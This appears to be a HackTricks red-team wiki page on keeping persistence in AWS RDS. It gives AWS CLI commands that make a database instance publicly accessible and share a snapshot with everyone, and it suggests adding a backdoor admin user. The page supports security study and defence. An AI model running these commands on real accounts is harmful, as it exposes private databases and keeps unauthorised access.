AWS - RDS Persistence

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

RDS

For more information check:

Make instance publicly accessible: rds:ModifyDBInstance

An attacker with this permission can modify an existing RDS instance to enable public accessibility.

aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately

Create an admin user inside the DB

An attacker could just create a user inside the DB so even if the master users password is modified he doesn't lose the access to the database.

Make snapshot public

aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated